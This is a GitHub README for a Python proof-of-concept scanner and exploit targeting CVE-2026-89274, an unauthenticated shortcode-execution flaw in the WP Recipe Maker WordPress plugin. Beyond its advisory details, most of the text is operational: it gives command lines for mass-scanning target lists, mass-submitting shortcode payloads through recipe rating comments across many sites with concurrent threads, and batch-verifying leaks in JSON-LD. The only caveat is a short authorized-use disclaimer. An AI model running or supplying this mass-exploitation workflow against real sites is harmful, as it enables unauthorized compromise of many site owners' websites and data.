murrez/cve-2026-89274Python PoC scanner and exploit for CVE-2026-89274, an unauthenticated arbitrary shortcode execution flaw in WP Recipe Maker <=10.8.1 via recipe rating comments and JSON-LD.
Python 3 PoC scanner/exploit for CVE-2026-89274 in WP Recipe Maker.
| Plugin | wp-recipe-maker |
| Affected | ≤ 10.8.1 |
| Fixed in | 10.8.2+ |
| CVSS | 9.1 (Critical) |
| Auth | Unauthenticated (comment submit) |
| CWE | CWE-94 |
WPRM_Metadata::sanitize_metadata() runs do_shortcode() on metadata fields before strip_shortcodes(). Approved recipe rating comments (wprm-comment-rating) populate JSON-LD reviewBody; injected shortcodes execute on recipe page loads and can leak output in structured data.
Requirement: The malicious comment must be approved (auto-approve or moderator). Exploit mode can use --verify to confirm the marker appears in JSON-LD reviewBody.
pip install -r requirements.txtpip install -r requirements.txt
# Check plugin version + recipe page with comment rating form
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Mass exploit from check output (candidates.jsonl)
python poc.py --list candidates.jsonl --mode exploit --threads 20 \
--shortcode "[caption]PROBE[/caption]" --verify --quiet
# Single-target exploit + JSON-LD verification
python poc.py -u https://target.example --mode exploit \
--recipe-url /some-post-with-recipe/ \
--shortcode "[caption]PROBE[/caption]" --verify
# Verify after comment approval (marker from exploit JSON)
python poc.py -u https://target.example --mode verify \
--recipe-url /some-post-with-recipe/ --marker wprm89274_abc12345
# Batch verify prior submissions (submitted_mass.txt format)
python poc.py --list submitted_mass.txt --mode verify --threads 30 --quiet \
--output verify_submitted.jsonl --vuln-list verified_leaks.txt
submitted_mass.txt line format (verify mode)https://target.example|https://target.example/recipe-post/|post=123|marker=wprm89274_abc12345
| Option | Description |
|---|---|
-u, --url | Single target base URL |
--list | URL list, candidates.jsonl, or submitted_mass.txt (verify) |
--mode | check, exploit, or verify |
--recipe-url | Post URL with embedded WPRM recipe + comments |
--post-id | WordPress comment_post_ID |
--recipe-id | WPRM recipe ID (optional --use-api) |
--shortcode | Payload in comment text (default probe shortcode) |
--marker | Verify: search JSON-LD for marker substring |
--verify | Exploit: confirm leak in JSON-LD after submit |
--use-api | Also try Premium user-rating REST path |
--threads, -j | Mass concurrency (default 20) |
--output | JSONL results (default cve_2026_89274_results.jsonl) |
--vuln-list | Text output for hits/leaks (default hits.txt) |
--candidates-list | Check hits metadata (default candidates.jsonl) |
--quiet | Less progress output on mass runs |
| File | Content |
|---|---|
cve_2026_89274_results.jsonl | Per-target JSON |
hits.txt | Candidate base URLs |
candidates.jsonl | page_url, post_id, recipe_id, version |
status values (check)| Status | Meaning |
|---|---|
candidate | Vulnerable version + recipe page with wprm-comment-rating |
plugin_no_recipe_comments | Plugin present, no suitable recipe/comment page found |
recipe_no_comment_rating | Recipe page without rating comment form |
patched | Version ≥ 10.8.2 |
no_plugin | WP Recipe Maker not detected |
[caption])./blog/, /recipes/) may not show JSON-LD leaks; exploit prefers single recipe permalinks when discovering pages.--verify only confirms JSON-LD reflection, not full RCE..
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Local scan lists and run artifacts (list.txt, *.jsonl, submitted_mass.txt, …) are in .gitignore and should not be committed.
For authorized security testing only. You are responsible for compliance with applicable laws and program rules.